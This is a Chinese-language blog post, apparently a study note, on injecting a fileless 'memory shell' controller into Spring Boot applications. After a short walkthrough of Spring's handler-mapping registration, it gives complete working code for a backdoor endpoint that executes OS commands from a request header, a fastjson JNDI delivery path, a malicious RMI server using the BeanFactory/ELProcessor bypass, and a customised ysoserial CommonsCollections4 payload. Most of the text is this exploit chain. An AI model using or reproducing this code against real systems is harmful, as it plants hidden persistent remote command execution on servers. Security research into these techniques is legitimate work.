SpringBoot Controller 内存马 / yso定制
前言:学习spring系列controller内存马的笔记
参考文章:https://www.cnblogs.com/bitterz/p/14820898.html#11-fastjson反序列化和jndi
参考文章:https://www.anquanke.com/post/id/198886#h3-8
什么时候用到内存马
1、反序列化漏洞(有依赖可利用)
2、目标不出网
3、想要回显信息
controller内存马注入复现
可以看到成功打印了生成的控制器
访问:http://localhost:8080/asdasd?cmd=calc ,可以看到命令是执行成功了,弹出对应的calc
实现controller 内存马
url和Controller类的映射关系
跟tomcat的filter等对象类似,如果想要注入一个内存马,那么就需要找到注册controller控制器的关键过程,从而实现动态添加controller内存马。
我查阅的文档资料是:https://blog.csdn.net/Message_lx/article/details/107861905
这里直接在AbstractHandlerMethodMapping类中打上断点来进行调试
org/springframework/web/servlet/handler/AbstractHandlerMethodMapping.java
通过官方的注释可以看出来,这个类就是实现 一个request请求和需要调用哪个方法 之间映射关系的实现类
initHandlerMethods方法上打上断点,如下图所示,然后进行调试
对每个要注册的Bean来调用processCandidateBean方法
如何isHandler符合的话就会进入到该判断语句中调用detectHandlerMethods,这里来看下相关的isHandler方法,可以看到需要满足被标记的注解为Controller.class 或者是 RequestMapping.class 才可以
如果当前的Bean被注解为Controller.class 或者是 RequestMapping.class,那么就进入到detectHandlerMethods方法中
其中每次都会对当前的控制器中的方法将其作为参数,调用getMappingForMethod方法
这里需要注意了,MethodIntrospector.selectMethods中第二个参数是一个回调方法,该方法其中会调用这个getMappingForMethod是重点方法,它做了如下的步骤
1、通过createRequestMappingInfo方法以当前控制器下的method作为变量,创建了一个RequestMappingInfo的对象
2、通过createRequestMappingInfo方法以当前控制器下的handlerType作为参数,创建了一个RequestMappingInfo的对象
接着下面还有一段循环操作,如下图所示
其中的registerHandlerMethod方法,就会将一个控制器中所有的方法都注册到对应的mapping中
具体操作如下图,这个自己可以进行调试下
最后将其每个方法都注册到registry中
可以看到当前控制器有两个方法,这里会将两个方法都注册到registry中去
分析
这里重点就看RequestMappingInfo这个对象,上面的图中其实最后的步骤就是一个RequestMappingInfo对象,然后将其注册到当前spring的registry中去
那么RequestMappingInfo我们可以进行自定义,拿个对象来观察下其中的属性,可以看到重点的属性有
patternsCondition:对应的请求地址
handlerMethod:对应的请求方法
methodsCondition :对应的请求方式
{RequestMappingInfo@7102} "{POST [/upload]}" -> {AbstractHandlerMethodMapping$MappingRegistration@7183}
key = {RequestMappingInfo@7102} "{POST [/upload]}"
name = null
pathPatternsCondition = null
patternsCondition = {PatternsRequestCondition@7188} "[/upload]"
methodsCondition = {RequestMethodsRequestCondition@7189} "[POST]"
paramsCondition = {ParamsRequestCondition@7190} "[]"
headersCondition = {HeadersRequestCondition@7191} "[]"
consumesCondition = {ConsumesRequestCondition@7192} "[]"
producesCondition = {ProducesRequestCondition@7193} "[]"
customConditionHolder = {RequestConditionHolder@7194} "[]"
hashCode = 1684276773
options = {RequestMappingInfo$BuilderConfiguration@6865}
value = {AbstractHandlerMethodMapping$MappingRegistration@7183}
mapping = {RequestMappingInfo@7102} "{POST [/upload]}"
handlerMethod = {HandlerMethod@7129} "com.zpchcbd.controller.FormController#upload(String, String, MultipartFile, MultipartFile[])"
directPaths = {HashSet@7137} size = 1
mappingName = "FC#upload"
corsConfig = false
然后通过刚才的分析可以看到,主要进行注册的类是AbstractHandlerMethodMapping对象,其中就放置了我们要注册的对象RequestMappingInfo
所以这里需要找到这个对象,方法如下,可以直接在IOC容器中进行获取
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
最后理清下思路:
1、创建一个RequestMappingInfo对象,将对应实现的方法,请求地址等需要的信息都赋值到该对象中
2、然后通过IOC容器获取RequestMappingHandlerMapping(AbstractHandlerMethodMapping的实现类),调用RequestMappingHandlerMapping的registerMapping方法来进行对应的控制器和方法的绑定
这里有个问题我没研究过,就是在注册完RequestMappingHandlerMapping之后,为什么这个控制器就会自动生效?这个地方我不太懂
想法:可能是registerMapping调用完之后,相关的spring容器会将新的controller放置到IOC容器中,我自己是这么猜想的,但是没有代码验证。
最终实现的代码如下,测试版本springboot 2.5.6
控制器类
public class InjectToController {
public InjectToController(){
}
public void test() throws Exception {
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
System.out.println(request.getParameter("cmd"));
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
注入方法
@ResponseBody
@RequestMapping(value = "/inject", method = RequestMethod.GET)
public String inject(){
try {
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);
return "inject ok...";
}catch (Exception ex)
{
return "inject fail...";
}
}
模拟反序列化实现
这里用fastjson反序列化 jndi注入来进行模拟
自己模拟接口存在反序列化漏洞,如下图所示
@Controller
public class SerializeController {
/**
* test fastjson jndi inject for memory shell.
* */
@ResponseBody
@RequestMapping(value = "fastjson_serialize", method = RequestMethod.POST)
public String test01(@RequestBody String payload){
Object object2 = JSON.parse(payload);
return object2.toString();
}
}
内存马:
其中的SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");
,我需要讲下为什么要这样写?
原因就是如果调用的还是默认的无参构造函数会导致递归调用,所以这里防止递归调用,就调用一个有参数的即可。
package com.zpchcbd.jndi.objectfactory.rmibypass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestAttributes;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;
public class SpringBootMemoryShellOfController extends AbstractTranslet {
public SpringBootMemoryShellOfController() throws Exception{
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = SpringBootMemoryShellOfController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
}
public SpringBootMemoryShellOfController(String test){
}
public void test() throws Exception{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
String cmd = request.getHeader("zpchcbd");
if(cmd != null && !cmd.isEmpty()){
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
response.getWriter().println(res);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
自己再起一个RMI服务
public class RMIReferenceServerTest {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 9527");
LocateRegistry.createRegistry(9527);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")";
String replacement = payload.replace("replacement", injectMemshell(SpringEchoTemplate.class));
System.out.println(replacement);
ref.add(new StringRefAddr("x", replacement));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.0.108/AAAAAA");
}
public static String injectMemshell(Class clazz){
String classCode = null;
try{
classCode = Utils.getClassCode(clazz);
}catch(Exception e){
e.printStackTrace();
}
String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
" clazz.newInstance();\n" +
"}catch(err){\n" +
" var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();\n" +
"};";
return code;
}
}
然后访问 http://localhost:8081/asdasd ,header头为zpchcbd 命令为calc,如下图所示
controller的缺点
在对于存在相关的拦截器的时候,controller内存马就无法进行利用,原因就在于拦截器的调用顺序在controller之前,所以controller不能作为通用的内存马来进行使用。
定制化yso版本
public class SpringBootMemoryController extends AbstractTranslet {
public SpringBootMemoryController() throws Exception{
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = SpringBootMemoryController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
SpringBootMemoryController springBootMemoryShellOfController = new SpringBootMemoryController("aaaaaaa");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
}
public SpringBootMemoryController(String test){
}
public void test() throws Exception{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
String command = request.getHeader("zpchcbd");
if(command != null){
try {
java.io.PrintWriter printWriter = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.write(o);
printWriter.flush();
printWriter.close();
}catch (Exception ignored){
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这里用的是cc4生成的利用poc
public class CommonsCollections4_SpringbootMemoryController implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String ... command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(ysoserial.payloads.SpringBootMemoryController.class);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4_SpringbootMemoryController.class, args);
}
}
发送payload,同样成功进行注入内存马